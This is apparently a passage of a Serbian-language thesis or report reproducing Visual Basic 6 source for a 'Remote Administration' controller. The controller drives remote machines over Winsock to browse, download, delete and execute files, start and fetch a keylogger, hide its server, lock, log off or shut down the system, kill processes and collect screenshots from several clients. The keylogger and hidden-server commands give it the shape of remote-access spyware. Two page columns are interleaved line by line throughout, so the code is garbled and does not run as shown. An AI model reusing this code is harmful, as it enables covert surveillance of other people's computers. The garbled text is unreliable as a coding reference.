End Sub Dim msg As String
Private Sub Winsock4_ConnectionRequest(ByVal requestID Dim bGettingdesktop As Boolean
As Long) Dim bFileTransfer As Boolean
Dim nik4 As String Dim FolderClick As String
Winsock4.GetData nik4 ' * Definisanje tipa za ubacivanje ikone programa u systray
Text12.Text = Text12.Text & nik4 (pored sata)****
End Sub Private Type NOTIFYICONDATA
Private Sub Winsock5_Close() cbSize As Long
Text5.Text = "slobodno" hwnd As Long
Winsock5.Close uId As Long
Label15.Caption = "not connected" uFlags As Long
frmMain1.Label15.Caption = "Disenabled" ucallbackMessage As Long
Frame5.Caption = "not connected" hIcon As Long
End Sub szTip As String * 64
Private Sub Winsock5_ConnectionRequest(ByVal requestID End Type
As Long) Private Const NIM_ADD = &H0
Dim nik5 As String Private Const NIM_MODIFY = &H1
Winsock5.GetData nik5 Private Const NIM_DELETE = &H2
Text13.Text = Text13.Text & nik5 Private Const WM_MOUSEMOVE = &H200
End Sub Private Const NIF_MESSAGE = &H1
Private Sub Winsock6_Close() Private Const NIF_ICON = &H2
Text6.Text = "slobodno" Private Const NIF_TIP = &H4
Winsock6.Close Private Const WM_LBUTTONDBLCLK = &H203
Frame6.Caption = "not connected" Private Const WM_LBUTTONDOWN = &H201
frmMain1.Label16.Caption = "Disenabled" Private Const WM_LBUTTONUP = &H202

10
Label16.Caption = "not connected" Private Const WM_RBUTTONDBLCLK = &H206
End Sub Private Const WM_RBUTTONDOWN = &H204
Private Sub Winsock6_DataArrival(ByVal bytesTotal As Private Const WM_RBUTTONUP = &H205
Long) Private Declare Function Shell_NotifyIcon Lib "shell32"
Dim nik6 As String Alias "Shell_NotifyIconA" (ByVal dwMessage As Long,
Winsock6.GetData nik6 pnid As NOTIFYICONDATA) As Boolean
Text14.Text = Text14.Text & nik Dim t As NOTIFYICONDATA
Private Sub cmdClose_Click()
lblStatus.Caption = " Status: Closing Remote Explorer" ‘ For i = rty To 1 Step -1
zatvoren je sock za pregled kataloga , ocisti prozor I naznaci If Mid(YTR, i, 1) = "(" Then
lblStatus.ForeColor = vbGreen YTR = Mid(YTR, 1, i - 1)
MessageTimer.Enabled = True End If
TvTreeView.Nodes.Clear Next i
lvFiles.ListItems.Clear If sockExplorer.State <> sckConnected Then
sockExplorer.Close MsgBox "Not Connected to EXPLORER ..... Click 'GET
DRIVES' Button", vbOKOnly, "DUHHHHH"
lblState(1).Caption = "Not Connected" Exit Sub
End Sub End If
Private Sub cmdClose2_Click() With CommonDialog1
sockServer.Close ‘ zatvori server .DialogTitle = "Save remote file to:"
SSTab1.Tab = 0 .FileName = YTR
chkStartUp.Value = 0 .ShowSave
chkDownloads.Value = 0 If Len(Dir(.FileName)) <> 0 Then
chkAutoLogin.Value = 1 iResult = MsgBox(.FileName & " exists! Do you wish
chkVerify.Value = 0 to overwrite this file?", vbQuestion + vbYesNoCancel,
lstVerify.Clear "REMOTE ADMINISTRATION")
End Sub If iResult = vbNo Then
Private Sub cmdCloseRemServer_Click() Exit Sub
SockMain.SendData "|CLOSE|" ‘ iskljuci End If
server program End If
Pause 10 Open .FileName For Binary As #1
Disable End With
End Sub bFileTransfer = True
Private Sub cmdConnect_Click() frmdownloading.lblFIleName = lvFiles.SelectedItem.Text
‘zahtev za konekcijom frmdownloading.Show
SaveUserName sockExplorer.SendData "|GETFILE|" &
SockMain.Close lvFiles.SelectedItem.Key
SockMain.RemoteHost = txtRemHost.Text End Sub
SockMain.Connect Private Sub cmdEmpty_Click()
End Sub msg = "|EMPTYRECYCLEBIN|"
Private Sub SaveUserName() SockMain.SendData msg
Kill App.Path & "\RA.ini" End Sub
Open App.Path & "\RA.ini" For Append As #1 ‘ snimi Private Sub cmdExecute_Click()
ime korisnika If sockExplorer.State <> sckConnected Then
Print #1, txtUser.Text Exit Sub
Close Else
End Sub msg = "|EXECUTE|"
Private Sub cmdDelete_Click() msg = msg & lvFiles.SelectedItem.Key
msg = "|KILLFILE|" & Me.lvFiles.SelectedItem.Key SockMain.SendData msg
‘ izbrisi fajl End If
Debug.Print msg End Sub
SockMain.SendData msg Private Sub cmdGetServerSettings_Click()
Me.lvFiles.ListItems.Remove (lvFiles.SelectedItem.Key) lstVerify.Clear
End Sub chkStartUp.Value = 0
Private Sub cmdDeleteFolder_Click() chkAutoLogin.Value = 0
‘ izbrisi katalog chkVerify.Value = 0
If FolderClick = "C:\" Then Exit Sub chkDownloads.Value = 0
If FolderClick <> "" Then sockServer.Close
msg = "|REMOVEFOLDER|" & FolderClick sockServer.RemoteHost = SockMain.RemoteHost
sockExplorer.SendData msg sockServer.Connect
End If End Sub
End Sub Private Sub cmdHideServer_Click()
Private Sub cmdDisConnect_Click() msg = "|HIDE|"
SockMain.Close SockMain.SendData msg
‘ iskljuci konekciju ,ova funkcija se razlikuje od iskljuci End Sub
server program ,posle ove fun mozemo Private Sub cmdKeyLogger_Click()
‘ponovo uspostaviti konekciju sto nevazi za drugu navedenu. If cmdKeyLogger.Caption = "Start Key-Logger" Then
Disable cmdKeyLogger.ToolTipText = "Stop Key-Logger"

11
End Sub cmdKeyLogger.Caption = "Stop Key-Logger"
Private Sub cmdDownload_Click() ‘ Snimanje izabranog msg = "|STARTLOGGING|"
fajla sa klijent servera SockMain.SendData msg
Dim YTR As String Else
Dim rty As Integer cmdKeyLogger.Caption = "Start Key-Logger"
YTR = Me.lvFiles.SelectedItem.Text cmdKeyLogger.ToolTipText = "Start Key-Logger"
YTR = Mid(YTR, 1, Len(YTR) - 1) msg = "|STOPLOGGING|"
rty = Len(YTR) SockMain.SendData msg

mnuTlzSnapShot.Enabled = False
GetLoggerInfo lblStatus.Caption = " Status: Paused Until Message Box
End If Button Is Clicked On Remote Computer"
End Sub lblStatus.ForeColor = vbYellow
Private Sub GetLoggerInfo() End Sub
On Error Resume Next Private Sub GetStyle(Style As String, tIp As Integer)
' driver list prazan If tIp = 0 Then Style = "vbAbortRetryIgnore"
TvTreeView.Nodes.Clear If tIp = 1 Then Style = "vbCritical"
lvFiles.ListItems.Clear If tIp = 2 Then Style = "vbExclamation"
If sockExplorer.State <> sckConnected Then If tIp = 3 Then Style = "vbInformation"
' **** da pokupi fajl u kom su snimnjena otkucana slova If tIp = 4 Then Style = "vbOkCancel"
keylog **** If tIp = 5 Then Style = "vbOkOnly"
sockExplorer.Close If tIp = 6 Then Style = "vbRetryCancel"
lblState(1).Caption = "Not Connected" If tIp = 7 Then Style = "vbYesNo"
With sockExplorer If tIp = 8 Then Style = "vbYesNoCancel"
.RemoteHost = txtRemHost.Text End Sub
.Connect Private Sub cmdMouse_Click()
End With If cmdMouse.Caption = "Inverse Mouse" Then
Pause 500 cmdMouse.Caption = "Normal Mouse"
End If cmdMouse.ToolTipText = "Make Remote Mouse Move
Dim iResult As Integer Normally"
With CommonDialog1 msg = "|INVERSEMOUSE|"
.DialogTitle = "Save remote file to:" SockMain.SendData msg
.FileName = "C:\AUTOEXEC.ini" Else
.ShowSave cmdMouse.Caption = "Inverse Mouse"
If Len(Dir(.FileName)) <> 0 Then cmdMouse.ToolTipText = "Make Remote Mouse Move
iResult = MsgBox(.FileName & " Vec postoji fajl,zelis Backwards"
presnimiti preko postojeceg?", vbQuestion + msg = "|NORMALMOUSE|"
vbYesNoCancel, "Udaljena kontrola") SockMain.SendData msg
If iResult = vbNo Then End If
Exit Sub End Sub
End If
End If Private Sub cmdNewFolder_Click()
Open .FileName For Binary As #1 Dim NewFolderz As String
End With NewFolderz = InputBox("What's The Name Of The New
bFileTransfer = True Folder You Wish To Create?", "CREATE A NEW
sockExplorer.SendData "|GETFILE|" & FOLDER")
"C:\AUTOEXEC.ini" msg = "|NEWFOLDER|" & FolderClick & "\" &
frmdownloading.lblFIleName = "C:\AUTOEXEC.ini" NewFolderz
frmdownloading.Show sockExplorer.SendData msg
End Sub End Sub
Private Sub cmdLock_Click() Private Sub cmdOpen_Click()
msg = "|LOCKSYSTEM|" If sockExplorer.State <> sckClosed Then
SockMain.SendData msg sockExplorer.Close
End Sub TvTreeView.Nodes.Clear
Private Sub cmdLogOffUser_Click() lvFiles.ListItems.Clear
msg = "|LOGOFF|" End If
SockMain.SendData msg If sockExplorer.State <> sckConnected Then
End Sub With sockExplorer
Private Sub cmdMessage_Click() .RemoteHost = txtRemHost.Text
Dim StIle As String .Connect
Dim TyP As Integer End With
Else
For i = 0 To 8 TvTreeView.Nodes.Clear
If optType(i).Value = True Then lvFiles.ListItems.Clear
TyP = i sockExplorer.Close
End If With sockExplorer
Next i .RemoteHost = txtRemHost.Text
msg = "|MSGBOX|" .Connect

12
GetStyle StIle, TyP End With
msg = msg & "1:" & txtMessageText.Text & "2:" & StIle & End If
"3:" & txtMessageTitle.Text End Sub
SockMain.SendData msg Private Sub cmdProcessRefresh_Click()
SSTab1.Enabled = False lstProcesses.Clear
cmdCloseRemServer.Enabled = False msg = "|REFRESH PROCESSES|"
cmdDisConnect.Enabled = False
mnuFileDisconnect.Enabled = False

SockMain.SendData msg lblStatus.ForeColor = vbGreen


Pause 10 lblStatus.Caption = " Status: Done Uploading File" &
sckProcesses.Close FileName
sckProcesses.Connect MessageTimer.Enabled = True
End Sub sockExplorer.SendData "|DONEUPLOAD|"
Private Sub cmdSaveSettings_Click() Exit Sub
Dim msg As String
msg = "|INFO|" NoFile:
msg = msg & chkStartUp.Value & chkAutoLogin.Value & If Err.Number = 32755 Then
chkVerify.Value & chkDownloads.Value Exit Sub
For i = 0 To lstVerify.ListCount - 1 End If
msg = msg & lstVerify.List(i) & "," End Sub
Next i Private Sub cmdWindowsRestart_Click()
sockServer.SendData ENCRYPT(msg, Len(msg)) msg = "|REBOOT|"
Pause 20 SockMain.SendData msg
sockServer.SendData ENCRYPT(msg, Len(msg)) End Sub
End Sub Private Sub DownloadTimer_Timer()
Private Sub cmdShow_Click() Unload frmdownloading
msg = "|SHOW|" End Sub
SockMain.SendData msg Private Sub Form_Load()
End Sub txtUser.Text = ""
Private Sub cmdShutDown_Click() LVFileCount = 0
msg = "|SHUTDOWN|" AddIcon2Tray
SockMain.SendData msg FList = "|FILES|"
End Sub SSTab1.Tab = 0
Private Sub cmdStartUp_Click() mnuOpt.Visible = False
SSTab1.Tab = 3 mnuTlzSnapShot.Enabled = False
End Sub mnuFileDisconnect.Enabled = False
Private Sub cmdStopProcess_Click() GetClientInfo
Dim Proc As String End Sub
Dim P As Integer Private Sub GetClientInfo()
P = lstProcesses.ListIndex On Error GoTo Err
Proc = lstProcesses.List(P) Dim UZR As String
If Proc = "" Then Exit Sub Open App.Path & "\RA.ini" For Input As #1
SockMain.SendData "|STOPPROCESS|" & Proc Input #1, UZR
Pause 50 Close
cmdProcessRefresh = True txtUser.Text = UZR
lstProcesses.ToolTipText = "" Exit Sub
End Sub Err:
Private Sub cmdUnlock_Click() Open App.Path & "\RA.ini" For Append As #1
msg = "|UNLOCKSYSTEM|" Print #1, " "
SockMain.SendData msg Close
End Sub End Sub
Private Sub cmdUpload_Click() Private Sub AddIcon2Tray()
'MsgBox "I've Left This Out Because Of Security Issues.", ' **** for icon in sys tray ****
vbInformation, "SECURITY ISSUE" t.cbSize = Len(t)
On Error GoTo NoFile t.hwnd = Picture1.hwnd
CommonDialog1.CancelError = True t.uId = 1&
Dim FileToSend As String t.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
t.ucallbackMessage = WM_MOUSEMOVE
Dim FilezName As String 'Mesto gde se poziva ikonica forme da uleti u systray
CommonDialog1.Filter = "File To Upload (All Files)" t.hIcon = Me.Icon
CommonDialog1.FilterIndex = 2
CommonDialog1.ShowOpen ' pojavljivanje pomocnog teksta
FileToSend = CommonDialog1.FileName t.szTip = "Remote Administration" & Chr$(0)
If Len(FileToSend) <= 0 Then Exit Sub Shell_NotifyIcon NIM_ADD, t
Dim REN As Integer End Sub
REN = Len(FileToSend) Private Sub RemoveIconFromTray()
For i = REN To 1 Step -1 On Error Resume Next

13
If Mid(FileToSend, i, 1) = "\" Then t.cbSize = Len(t)
FilezName = Mid(FileToSend, i, Len(FileToSend)) t.hwnd = Picture1.hwnd
Exit For t.uId = 1&
End If Shell_NotifyIcon NIM_DELETE, t
Next i End Sub
msg = "|UPLOAD|" & FolderClick & FilezName Private Sub Form_QueryUnload(Cancel As Integer,
sockExplorer.SendData msg UnloadMode As Integer)
Pause 10 RemoveIconFromTray
Call SendFile(FileToSend, sockExplorer)

End Sub Private Sub sckProcesses_DataArrival(ByVal bytesTotal As


Private Sub Form_Terminate() Long)
RemoveIconFromTray sckProcesses.GetData Data
End Sub If Data = "DONE" Then
Private Sub Form_Unload(Cancel As Integer) lblStatus.Caption = " Status: Connected"
RemoveIconFromTray Exit Sub
End Sub End If
Private Sub List1_Click() NewProcess Data
Dim YU As Integer End Sub
YU = List1.ListIndex Private Sub NewProcess(Process As String)
List1.ToolTipText = List1.List(YU) lstProcesses.AddItem Process
End Sub End Sub
Private Sub mnuOptHide_Click() Public Sub Disable()
Me.Hide TvTreeView.Nodes.Clear
End Sub lvFiles.ListItems.Clear
Private Sub mnuTlzResolve_Click() sockExplorer.Close
Load frmHost2IP On Error Resume Next
frmHost2IP.Show Unload frmLogin
End Sub Me.Show
Private Sub Form_Resize() SSTab1.Enabled = False
If Me.Height = 360 Then Me.Hide mnuFileConnect.Enabled = True
End Sub mnuFileDisconnect.Enabled = False
Private Sub lstProcesses_Click() mnuTlzSnapShot.Enabled = False
Dim O As Integer cmdDisConnect.Enabled = False
O = lstProcesses.ListIndex cmdConnect.Enabled = True
lstProcesses.ToolTipText = lstProcesses.List(O) cmdCloseRemServer.Enabled = False
End Sub lblStatus.Caption = " Status: Not Connected"
Private Sub MessageTimer_Timer() For i = 0 To 5
lblStatus.Caption = " Status: Connected" lblRemoteInfo(i).Caption = "Not Connected"
lblStatus.ForeColor = &HFF8080 Next i
MessageTimer.Enabled = False For i = 0 To 3
End Sub lblState(i).Caption = "Not Connected"
Private Sub mnuFileConnect_Click() Next i
cmdConnect = True SSTab1.Tab = 0
End Sub lstProcesses.Clear
Private Sub mnuFileDisconnect_Click() txtRemHost.Enabled = True
cmdDisConnect = True txtUser.Enabled = True
End Sub cmdConnect.SetFocus
Private Sub mnuFileExit_Click() End Sub
RemoveIconFromTray Private Sub sockExplorer_Close()
Unload Me TvTreeView.Nodes.Clear
End lvFiles.ListItems.Clear
End Sub sockExplorer.Close
Private Sub mnuFileMinimize_Click() End Sub
Me.Hide Private Sub sockExplorer_Connect()
End Sub TvTreeView.Nodes.Add , , "xxxROOTxxx",
Private Sub mnuHlpAbout_Click() lblRemoteInfo(0).Caption, "RC2", "RC2"
frmAbout.Show sockExplorer.SendData "|ENUMDRVS|"
End Sub lblState(1).Caption = "Connected"
Private Sub mnuOptClose_Click() End Sub
SockMain.Close Private Sub sockExplorer_DataArrival(ByVal bytesTotal As
Unload Me Long)
End Dim Strdata As String
End Sub sockExplorer.GetData Strdata, vbString
Private Sub Restore() If InStr(1, Strdata, "|NOT|") <> 0 Then
Me.WindowState = 0 MsgBox "You Are NOT Allowed In That Folder",
End Sub vbOKOnly, "SECURITY ISSUE"
Private Sub mnuOptShow_Click() TvTreeView.Nodes.Item(3).Selected = True

14
Me.Height = 7035 TvTreeView_Collapse TvTreeView.Nodes.Item(1)
Restore Exit Sub
Me.Show End If
End Sub If InStr(1, Strdata, "|CANT|") <> 0 Then
Private Sub sckProcesses_Connect() Close #1
lblStatus.Caption = " Status: Retreiving Remote bFileTransfer = False
Processes..." If bGettingdesktop = True Then
End Sub bGettingdesktop = False
End If

MsgBox "The Server Is Not Allowing File Download.",


vbInformation, "NO DOWNLOADING ALLOWED" sockExplorer_DataArrival_Error:
Unload frmdownloading bGettingdesktop = False
Exit Sub MsgBox Err.Description, vbCritical, "REMOTE
End If ADMINISTRATION DOWNLOADER"
If InStr(1, Strdata, "|COMPLEET|") <> 0 Then Exit Sub
frmdownloading.objprog.Value = End Sub
frmdownloading.objprog.Max Private Sub SockMain_Close()
'na ovom mestu je fajl primnjen sa udaljene masine Disable
bFileTransfer = False End Sub
Put #1, , Strdata Private Sub SockMain_Connect()
Close #1 lblState(0).Caption = "Connected"
Unload frmdownloading End Sub
DoEvents Private Sub Enable()
Exit Sub cmdConnect.Enabled = False
End If cmdDisConnect.Enabled = True
If InStr(1, Strdata, "|SOME|") <> 0 Then cmdCloseRemServer.Enabled = True
lblStatus.ForeColor = vbGreen mnuFileConnect.Enabled = False
lblStatus.Caption = " Status: Receiving Remote File mnuFileDisconnect.Enabled = True
Information" mnuTlzSnapShot.Enabled = True
MessageTimer.Enabled = True SSTab1.Enabled = True
FList = FList & Mid(Strdata, 7, Len(Strdata)) lblStatus.Caption = " Status: Connected to Remote Host"
Exit Sub lblState(0).Caption = "Connected"
End If txtRemHost.Enabled = False
If InStr(1, Strdata, "|DRVS|") <> 0 Then txtUser.Enabled = False
lblStatus.Caption = " Status: Retreiving Remote Drives" End Sub
lblStatus.ForeColor = vbGreen Private Sub SockMain_DataArrival(ByVal bytesTotal As
MessageTimer.Enabled = True Long)
Populate_Tree_With_Drives Strdata, TvTreeView SockMain.GetData Data
Exit Sub If InStr(1, Data, "|MSGOVER|") <> 0 Then
End If lblStatus.ForeColor = &HFF8080
If InStr(1, Strdata, "|FOLDERS|") <> 0 Then Enable
lblStatus.Caption = " Status: Receiving Remote Folder Exit Sub
Information" End If
lblStatus.ForeColor = vbGreen If bFileTransfer = True Then
Populate_Folders Strdata, TvTreeView If InStr(1, Data, "|FILESIZE|") <> 0 Then
Exit Sub lblStatus.ForeColor = vbGreen
End If lblStatus.Caption = " Status: Receiving File"
If InStr(1, Strdata, "|FILES|") <> 0 Then MessageTimer.Enabled = True
lblStatus.Caption = " Status: Populating Remote Files" frmdownloading.lblBytes.Caption = CLng(Mid$(Data,
lblStatus.ForeColor = vbGreen 11, Len(Data)))
Call Populate_Files(FList, lvFiles) frmdownloading.objprog.Max = CLng(Mid$(Data, 11,
MessageTimer.Enabled = True Len(Data)))
frmMain.MousePointer = vbDefault Exit Sub
FList = "|FILES|" End If
Exit Sub lblStatus.Caption = " Status: Writing File"
End If lblStatus.ForeColor = vbGreen
If bFileTransfer = True Then MessageTimer.Enabled = True
If InStr(1, Strdata, "|FILESIZE|") <> 0 Then Put #1, , Data
frmdownloading.lblBytes.Caption = CLng(Mid$ With frmdownloading.objprog
(Strdata, 11, Len(Strdata))) If (.Value + Len(Data)) <= .Max Then
frmdownloading.objprog.Max = CLng(Mid$(Strdata, .Value = .Value + Len(Data)
11, Len(Strdata))) Else
Exit Sub .Value = .Max
End If DoEvents
Put #1, , Strdata End If
With frmdownloading.objprog End With

15
If (.Value + Len(Strdata)) <= .Max Then End If
.Value = .Value + Len(Strdata) If InStr(1, Data, "|COMPLETE|") <> 0 Then
Else frmdownloading.objprog.Value =
.Value = .Max frmdownloading.objprog.Max
DoEvents 'MsgBox "File Received!", vbInformation, "Download
End If Complete"
End With frmdownloading.Caption = "FILE RECEIVED"
End If frmdownloading.lblBytes.Caption = "DOWNLOAD
sockExplorer_DataArrival_Exit: COMPLETE"
Exit Sub DownloadTimer.Enabled = True
bFileTransfer = False

Put #1, , Data


Close #1 ShoInfo Mid(Data, 7, Len(Data))
DoEvents Exit Sub
End If
Exit Sub
End If
If InStr(1, Data, "|LOGIN|") <> 0 Then End Sub
Me.Hide Private Sub ShoInfo(Info As String)
frmLogin.Show Dim CHKS As String
frmLogin.txtUserName.Text = txtUser.Text Dim UZRZ As String
Exit Sub CHKS = Mid(Info, 1, 5)
End If UZRZ = Mid(Info, 7, Len(Info))
If InStr(1, Data, "|INFO|") <> 0 Then Dim CHK1 As Integer
ShowInfo Mid(Data, 7, Len(Data)) Dim CHK2 As Integer
lblStatus.ForeColor = vbGreen Dim CHK3 As Integer
lblStatus.Caption = " Status: Retreiving Remote Dim CHK4 As Integer
Information" Dim CHK5 As Integer
MessageTimer.Enabled = True CHK1 = Mid(CHKS, 1, 1)
Exit Sub CHK2 = Mid(CHKS, 2, 1)
End If CHK3 = Mid(CHKS, 3, 1)
End Sub CHK4 = Mid(CHKS, 4, 1)
Private Sub ShowInfo(Stuff As String) CHK5 = Mid(CHKS, 5, 1)
Dim int1 As Integer chkStartUp.Value = CHK1
Dim int2 As Integer chkAutoLogin.Value = CHK2
Dim int3 As Integer chkVerify.Value = CHK3
Dim int4 As Integer chkDownloads.Value = CHK4
Dim int5 As Integer If Len(UZRZ) <= 0 Then
Dim int6 As Integer Exit Sub
int1 = InStr(1, Stuff, "1:") Else
int2 = InStr(1, Stuff, "2:") Dim WEE As Integer
int3 = InStr(1, Stuff, "3:") For i = 1 To Len(UZRZ)
int4 = InStr(1, Stuff, "4:") If Mid(UZRZ, i, 1) = "," Then
int5 = InStr(1, Stuff, "5:") WEE = WEE + 1
int6 = InStr(1, Stuff, "6:") End If
int1 = int1 + 2 Next i
lblRemoteInfo(0).Caption = Mid(Stuff, int1, int2 - int1) End If
int2 = int2 + 2 Dim VVV As Integer
lblRemoteInfo(2).Caption = Mid(Stuff, int2, int3 - int2) For i = 1 To WEE
int3 = int3 + 2 VVV = InStr(1, UZRZ, ",")
lblRemoteInfo(3).Caption = Mid(Stuff, int3, int4 - int3) lstVerify.AddItem Mid(UZRZ, 1, VVV - 1)
int4 = int4 + 2 UZRZ = Mid(UZRZ, VVV + 1, Len(UZRZ))
lblRemoteInfo(4).Caption = Mid(Stuff, int4, int5 - int4) Next i
int5 = int5 + 2 End Sub
Dim TM As String
TM = Mid(Stuff, int5, int6 - int5) Private Sub TvTreeView_Collapse(ByVal Node As
lblRemoteInfo(1).Caption = Format(TM, "###.##") & " MSComctlLib.Node)
(Hours)" On Error GoTo tvTreeView_Collapse_Error
int6 = int6 + 2 If Node.Key = "xxxROOTxxx" Then
lblRemoteInfo(5).Caption = Mid(Stuff, int6, Len(Stuff)) Exit Sub
Unload frmLogin End If
Me.Show Delete_Child_Nodes Me.TvTreeView, Node
Call GetProcesses tvTreeView_Collapse_Exit:
Enable Exit Sub
cmdOpen = True tvTreeView_Collapse_Error:
End Sub MsgBox Err.Description, vbCritical, "Explorer Collapse"
Private Sub GetProcesses() Exit Sub

16
End Sub
sckProcesses.Close Private Sub SendFolderName(FldName As String)
sckProcesses.RemoteHost = SockMain.RemoteHost If FldName = "" Then FldName = "C:"
sckProcesses.Connect lblCurrentFolder.Caption = "Current: " & FldName
End Sub sockExplorer.SendData "|FN|" & FldName
Pause 10
Private Sub sockServer_DataArrival(ByVal bytesTotal As End Sub
Long) Private Sub TvTreeView_NodeClick(ByVal Node As
Dim Data As String MSComctlLib.Node)
sockServer.GetData Data Dim FLDR As String
Data = DECRYPT(Data, Len(Data)) FLDR = Node.Key
FolderClick = FLDR
If InStr(1, Data, "|INFO|") <> 0 Then For i = Len(FLDR) To 1 Step –1

Dim sData As String End If


LVFileCount = 0 nikola2:
Me.MousePointer = vbHourglass End Sub
sData = "|FOLDERS|" & Node.Key Private Sub client3_Click()
sockExplorer.SendData (sData) On Error GoTo nikola3:
tvTreeView_NodeClick_Exit: If client3.Caption <> "slobodno" Then
Exit Sub If Label13.Caption = "Disenabled" Then
tvTreeView_NodeClick_Error: Form2.Winsock3.SendData "start"
Me.MousePointer = vbDefault Label13.Caption = "Enabled"
If Err.Number = 40006 Then Exit Sub
MsgBox "Remote connection lost!", vbExclamation, End If
"Explorer Click" If Label13.Caption = "Enabled" Then
Exit Sub Form2.Winsock3.SendData "stop"
End If Label13.Caption = "Disenabled"
MsgBox Err.Description, vbCritical, "Explorer Click" Exit Sub
Exit Sub End If
End Sub End If
nikola3:
End Sub
Sadrzaj forme frmMain1.frm Private Sub client4_Click()
On Error GoTo nikola4:
Option Explicit If client4.Caption <> "slobodno" Then
Private Type tClient If Label14.Caption = "Disenabled" Then
FileName As String Form2.Winsock4.SendData "start"
FileSize As Long Label14.Caption = "Enabled"
BytesReceived As Long Exit Sub
FileNum As Integer End If
End Type If Label14.Caption = "Enabled" Then
Private Clients() As tClient Form2.Winsock4.SendData "stop"
Private Sub client1_Click() Label14.Caption = "Disenabled"
' Ako se klikne na label slova i ako njihovo svojstvo Exit Sub
CAPTION nije slobodno End If
' onda mora da je daj SOCK konektovan jer samo on moze End If
da mu dodeli vrednost nikola4:
' slobodno ili kad se konektuje da mu dodeli vrednost End Sub
IPadrese klijent racunara Private Sub client5_Click()
On Error GoTo nikola1: On Error GoTo nikola5:
If client1.Caption <> "slobodno" Then If client5.Caption <> "slobodno" Then
If Label11.Caption = "Disenabled" Then If Label15.Caption = "Disenabled" Then
Form2.Winsock1.SendData "start" ' sock1 salje "start" sto Form2.Winsock5.SendData "start"
znaci da ce klijent Label15.Caption = "Enabled"
Label11.Caption = "Enabled" ' setovati automacko Exit Sub
generisanje slike i slanje End If
Exit Sub If Label15.Caption = "Enabled" Then
End If Form2.Winsock5.SendData "stop"
If Label11.Caption = "Enabled" Then Label15.Caption = "Disenabled"
Form2.Winsock1.SendData "stop" Exit Sub
Label11.Caption = "Disenabled" End If
Exit Sub End If
End If nikola5:
End If End Sub
nikola1: Private Sub client6_Click()
End Sub On Error GoTo nikola6:
Private Sub client2_Click() If client6.Caption <> "slobodno" Then

17
On Error GoTo nikola2: If Label16.Caption = "Disenabled" Then
If client2.Caption <> "slobodno" Then Form2.Winsock6.SendData "start"
If Label12.Caption = "Disenabled" Then Label16.Caption = "Enabled"
Form2.Winsock2.SendData "start" Exit Sub
Label12.Caption = "Enabled" End If
Exit Sub If Label16.Caption = "Enabled" Then
End If Form2.Winsock6.SendData "stop"
If Label12.Caption = "Enabled" Then Label16.Caption = "Disenabled"
Form2.Winsock2.SendData "stop" Exit Sub
Label12.Caption = "Disenabled" End If
Exit Sub End If
End If nikola6:
End Sub
Private Sub client7_Click()
& ".jpg")
On Error GoTo nikola7: client1.Caption = Text1.Text
If client7.Caption <> "slobodno" Then nikola:
If Label17.Caption = "Disenabled" Then On Error GoTo ni1:
Form2.Winsock7.SendData "start"
Label17.Caption = "Enabled" Desk2.Navigate App.Path & "\" & Text2.Text & ".jpg"
Exit Sub Image2.Picture = LoadPicture(App.Path & "\" & Text2.Text
End If & ".jpg")
If Label17.Caption = "Enabled" Then client2.Caption = Text2.Text
Form2.Winsock7.SendData "stop" ni1:
Label17.Caption = "Disenabled" On Error GoTo ni2:
Exit Sub Desk3.Navigate App.Path & "\" & Text3.Text & ".jpg"
End If Image3.Picture = LoadPicture(App.Path & "\" & Text3.Text
End If & ".jpg")
nikola7: client3.Caption = Text3.Text
End Sub ni2:
Private Sub client8_Click() On Error GoTo ni3:
On Error GoTo nikola8: Desk4.Navigate App.Path & "\" & Text4.Text & ".jpg"
If client8.Caption <> "slobodno" Then Image4.Picture = LoadPicture(App.Path & "\" & Text4.Text
If Label18.Caption = "Disenabled" Then & ".jpg")
Form2.Winsock8.SendData "start" client4.Caption = Text4.Text
Label18.Caption = "Enabled" ni3:
Exit Sub On Error GoTo ni4:
End If Desk5.Navigate App.Path & "\" & Text5.Text & ".jpg"
If Label18.Caption = "Enabled" Then Image5.Picture = LoadPicture(App.Path & "\" & Text5.Text
Form2.Winsock8.SendData "stop" & ".jpg")
Label18.Caption = "Disenabled" client5.Caption = Text5.Text
Exit Sub ni4:
End If On Error GoTo nini:
End If Desk6.Navigate App.Path & "\" & Text6.Text & ".jpg"
nikola8: Image6.Picture = LoadPicture(App.Path & "\" & Text6.Text
End Sub & ".jpg")
Private Sub cmdConnect_Click() client6.Caption = Text6.Text
' ovo i nema kljucnu ulogu jer ovaj SOCK mora da radi nini:
neprekidno On Error GoTo nikol1:
If cmdConnect.Caption = "Start Listening for Desk7.Navigate App.Path & "\" & Text7.Text & ".jpg"
Connections" Then Image7.Picture = LoadPicture(App.Path & "\" & Text7.Text
SckReceiveFile(0).LocalPort = & ".jpg")
Val(Me.txtListenPort.Text) client7.Caption = Text7.Text
SckReceiveFile(0).Listen nikol1:
cmdConnect.Caption = "Stop Listening for On Error GoTo nikola1:
Connections" Desk8.Navigate App.Path & "\" & Text8.Text & ".jpg"
Else Image8.Picture = LoadPicture(App.Path & "\" & Text8.Text
SckReceiveFile(0).Close & ".jpg")
cmdConnect.Caption = "Start Listening for client8.Caption = Text8.Text
Connections" nikola1:
End If End Sub
End Sub Private Sub Form_Load()
Private Sub Command10_Click() Me.Left = 0
Form1.Show Me.Top = 0
' Pokazi chat prozor minimizuj glavnu formu Me.WindowState = 2
Me.WindowState = 1 'SckReceiveFile je SOCK koji samo prima sliku sa klijenta i
End Sub ' moze vise fajlova da prima istovremeno svih 8 i vise
Private Sub Command9_Click() If cmdConnect.Caption = "Start Listening for

18
' tekst1 2 3 4 5 6 7 i 8 su povezane sa winsock kontrolama iz Connections" Then
form2 SckReceiveFile(0).LocalPort =
' u slucaju da neki racunar vise nije konektovan text1 2 3 ... Val(Me.txtListenPort.Text)
bice slobodno SckReceiveFile(0).Listen
' slika pod takvim nazivom nepostoji i nece ucitati cmdConnect.Caption = "Stop Listening for
' U jednoj pod funkciji se nalaze provere svih textboksova Connections"
jer uslucaju Else
' da se skida slika sa svih 8 klijen racunara redom bi SckReceiveFile(0).Close
izcitavao slike cmdConnect.Caption = "Start Listening for
' gde nema slike on ce preskociti taj deo sto nam omogucuje Connections"
komanda End If
' on error goto >>>>>> lstConnections.ListItems.Add , , "0"
On Error GoTo nikola: End Sub
desk1.Navigate App.Path & "\" & Text1.Text & ".jpg"
Image1.Picture = LoadPicture(App.Path & "\" & Text1.Text

Private Sub Form_Unload(Cancel As Integer) ' prihvata poziv od klijenta


' ako se forma ugasi neka ugasi i sve ostale ....kraj programa SckReceiveFile(k).Accept requestID
Unload Form1 ' ubacuje u listu podatke o klijentu
Unload Form2
End Sub If Len(SckReceiveFile(k).RemoteHost) = 0 Then
